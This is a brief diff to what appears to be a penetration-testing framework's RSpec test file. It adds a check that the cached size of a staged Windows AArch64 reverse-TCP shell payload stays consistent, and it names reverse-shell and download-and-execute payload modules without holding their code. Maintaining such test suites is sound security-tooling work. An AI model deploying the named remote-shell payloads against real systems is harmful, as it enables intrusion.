b/spec/modules/payloads_spec.rb index c07f509093bd1..fccb1c4ce1797 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -5165,6 +5165,16 @@ reference_name: 'windows/aarch64/shell_reverse_tcp' end + context 'windows/aarch64/shell/reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/aarch64/reverse_tcp', + 'stages/windows/aarch64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/aarch64/shell/reverse_tcp' + end + context 'windows/x64/download_exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [